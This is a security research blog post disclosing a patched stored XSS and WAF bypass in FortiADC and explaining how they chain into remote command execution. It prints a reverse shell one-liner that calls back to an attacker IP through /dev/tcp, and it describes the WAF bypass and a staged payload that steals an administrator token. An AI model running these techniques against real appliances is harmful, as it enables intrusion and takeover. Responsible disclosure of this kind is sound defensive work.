Living-off-the-webpage: Space-efficient Persistent XSS to RCE in FortiADC

Blog by Almas Zhurtanov, Senior Security Specialist & Tom Tervoort, Principal Security Specialist

In this article our security experts Tom and Almas explain how they managed to bypass client and server-side defenses in FortiADC, and turn an allegedly harmless XSS into RCE by optimally utilizing an extremely restricted payload space.

Last month, Fortinet patched a persistent XSS and a WAF bypass vulnerability in the Fortinet Application Delivery Controller. This vulnerability allowed a remote unauthenticated attacker to perform a stored cross site scripting (XSS) attack via HTTP fields in event log views.

Although the discovery of the XSS vulnerability by itself is not that interesting, the implemented defensive measures significantly increased the exploitation complexity. This makes this XSS a good case study on bypassing both client and server-side defenses.

Fortinet Logo 1200px

Affected products:

  • FortiADC version 7.0.0 through 7.0.2
  • FortiADC version 6.2.0 through 6.2.3

Fortinet advisories:

Product Overview and Initial Discovery

After the overview of products eligible for a vulnerability research, the team selected Fortinet Application Delivery Controller (FortiADC) as a subject to research. The decision was based on the fact that the product had a big number of complex components, meaning that the attack surface was quite big as well, and a 30-days trial version was available on AWS Marketplace. According to Fortinet:

“FortiADC is an advanced Application Delivery Controller (ADC) that ensures application availability, application security, and application optimization.
FortiADC includes application acceleration, WAF, IPS, SSLi, link load balancing, and user authentication in one solution to deliver availability, performance, and security in a single, all-inclusive license.”
Fortinet 1

After deploying an instance of the product, its components were analyzed. One of the first things that was identified was so-called “AWS Scripting” functionality that allows an administrator to perform certain management tasks by uploading Python scripts and executing them:

“FortiADC provides the method to execute any AWS API for users – Users can upload Python script to FortiADC (system > AWS Scripting page) with traffic group setting and execute the script on the FortiADC to which its traffic group belongs.”

In other words, this means that users are allowed to run arbitrary Python scripts on the application server. What can possibly go wrong? This functionality can be abused by uploading and executing the following script to spawn a reverse shell to an attacker- controlled machine.

import os; os.system("bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1”) 

It was decided to not report that issue to the vendor since it was part of the intended functionality available to the administrator, and it was anticipated that the vendor will not consider it to be a security vulnerability. Nevertheless, since the SSH management interface of FortiADC was found to be quite restricted and only provided way of interacting with certain components of the application, obtaining access to the operating system might facilitate further analysis of the application. It is also worth mentioning that out-of-the-box application runs as root user.

Achieving remote command execution is usually considered to be a crown jewel when it comes to vulnerability research. Therefore, it was attempted to identify ways of triggering it from the perspective of non-authenticated users. However, since no authentication or authorization issues were identified, it was decided to move focus from attacking the management interface itself to identifying flaws in how FortiADC handles requests to resources behind the load balancer and web application firewall (WAF). To do that, a simple web server was deployed separately and configured to be managed by the built-in FortiADC load balancer. The WAF component was also enabled for the corresponding load balancing group. A simple web application was deployed on the web server behind the load balancer that only reflected back parameters submitted with the incoming requests.

Fortinet 2

It was soon identified, that WAF component effectively blocked some of the basic malicious payloads that were tested.

Fortinet 3

Inspection of “Log & Report” functionality of FortiADC revealed that it records all incoming requests and traffic to both the management interface and any resources managed by FortiADC, as well as some security related events, and parses them into human-readable table views.

Fortinet 4

Quick fuzzing helped to identify the presence of an XSS vulnerability in the fields of that tables. The highlighted field in the screenshot below illustrates that it was possible to inject a bold text tag (<b>)

Fortinet 5


We quickly found that exploitation of this XSS vulnerability was complicated by the fact that table entries could only have a limited lengths and everything after the 15th character was trimmed off the end. Under normal circumstances, this might be bypassed by for instance using short DNS names to pull additional code from the attacker-controlled resource. However, this was not possible due to restrictive Content-Security Policy (CSP) that blocked any content from third-party domains.

Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline' 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'

Another minor, but useful flaw was identified shortly after. An unminified version of the application’s JavaScript file was available at https://application-base/ui/js/all.js. Code review confirmed that the data in the fields was indeed trimmed, but also revealed that the tables are based on the DataTables library (

Fortinet 7
Fortinet 8

Combined together, the following restrictions got in the way of exploiting this XSS vulnerability:

  • 15 characters per table entry.
  • 10 entries per page.
  • Each entry is evaluated separately, since the application automatically adds closing tags.
  • This means that it is not possible to open a tag on the first raw, close it on the last raw and put the payload in the middle. Each entry has to start with a tag.
  • This results in 150 characters per page for the payload, which is big enough to find a workaround.

However, to achieve code execution tags need to be added. The smallest tag would be at least 3 characters long, while <script> tag is 8 characters long. This means that 30-80 character space needs to be spent for tags only. Realistically, only <script> tag can be used to make XSS do something useful due to payload size restrictions. To clarify, there are of course many other alternative ways to execute code, but they take up much more space. This leaves only 70 characters for the payload. Also, it is important that each entry should be a valid and complete Javascript/HTML statement due to tags being automatically closed at the end of the entry. This means that the length restriction is not really 70 characters, but rather 10 separate statements with 7 characters maximum each. Restrictive CSP disallows loading external scripts, so it is only possible to execute code that is already present on the web page.

WAF Bypass (CVE-2022-38381)

The only way forward in such circumstances was to find another larger field vulnerable to XSS, or to find a payload small enough to achieve the desired result. In order to find lesser restricted field svulnerable to XSS, we analyzed which user-controlled fields were also vulnerable. Row entries could be expanded to show more details regarding the entry. Full record data looked in the following way.

Fortinet 9

The parameters illustrated on the screenshot above were fuzzed and that lead to an unexpected result. It turned out that when the protocol version (HTTP/1.1) was not present in the first line of a request, the load balancer would forward the request to the target host, while WAF would ignore it. This is illustrated on the screenshots below.

Fortinet 10

When the protocol version is missing, the request is forwarded to the target host with status 200 OK without triggering the WAF.

Fortinet 11
Fortinet 12

This issue is addressed in the newer version of FortiADC. The advisory can be found at .

Exploitation of Persistent XSS (CVE-2022-38374)

It soon turned out that no places other than log table entries were vulnerable. This meant that the only way to exploit the XSS was to come up with the payload that would be small enough and yet complex enough to do something useful.

After a lot of brainstorming, it was decided to proceed in the following way:

  • It would be possible to fit into the character restrictions a declaration of the function that would click on the next page button. This will give 10 more entries to work with and an already defined function call would occupy only 1 entry to go to the next page if needed.
  • Find another user-controlled parameter reflected on the page to hold the payload. It does not have to be vulnerable to XSS.
  • Define a function to retrieve the payload and execute it.
  • To demonstrate the impact, the final payload should steal the administrator Bearer Token and send the request to upload and execute a Python script (for instance the reverse shell example included above), thus achieving the desired Remote Command Execution.
Fortinet 13

One additional limitation that was faced at this stage: DataTables were loaded earlier in the process than the table pagination buttons. Therefore, it was necessary to use a payload that would run only after the page is fully loaded. This significantly limited freedom of choice, since the shortest way to achieve that was to use underscore function (_) and together with the script tags resulted in 30 characters long payload.


Another workaround that allowed to access tags without spending 8 characters for <script> tag was to use JQuery selector that was already loaded to the page to access elements on the page by their names.


Thus, splitting the delay function into three lines with <ext> tag and then executing the code above would effectively iterate to the next page. The only problem at this point was to fit the eval function into the remaining lines. This is the reason tag <ext> was used. The idea was to make the payload as space-efficient as possible. Note that letters ‘ext’ are used to both build the word “text “and to access the contents of the tag, what allows to reuse a single variable in two places.

This resulted in the following payload schematically illustrated how it will look like in the DataTable.

Fortinet 14

This translates to the following code:


And the contents of <ext> tags that contain delay function to click the ‘next’ button were provided above.

The payload placed on the next log pages utilizes the same technique to store DataTables structure in a variable and then access its contents and evaluate them. One of the fields that can be used to deliver the second stage (main) payload is “HTTP Query”, which contains any data sent in a GET query parameter. It still has some size limitations and cannot fit the whole remaining payload, however, it can at least contain 400 characters and, given that there are 10 such entries on a single page, this is more than enough space to upload the script, trigger the RCE and get a reverse shell. Since this payload is transmitted as a GET query parameter, it requires to be base64 encoded prior to transmission and decoded back before the execution.

Full exploit code can be found here:

The issue was address in the latest version of FortiADC. The advisory can be found at


  • April 2022 - vulnerabilities identified
  • June 2022 – vulnerabilities disclosed to FortiNet under responsible disclosure
  • June 2022 – vulnerabilities acknowledge by the vendor
  • August 2022 – vulnerabilities fixed
  • October 2022 – advisory released

If you have any questions and/or would like to get in contact with the blog authors, contact us at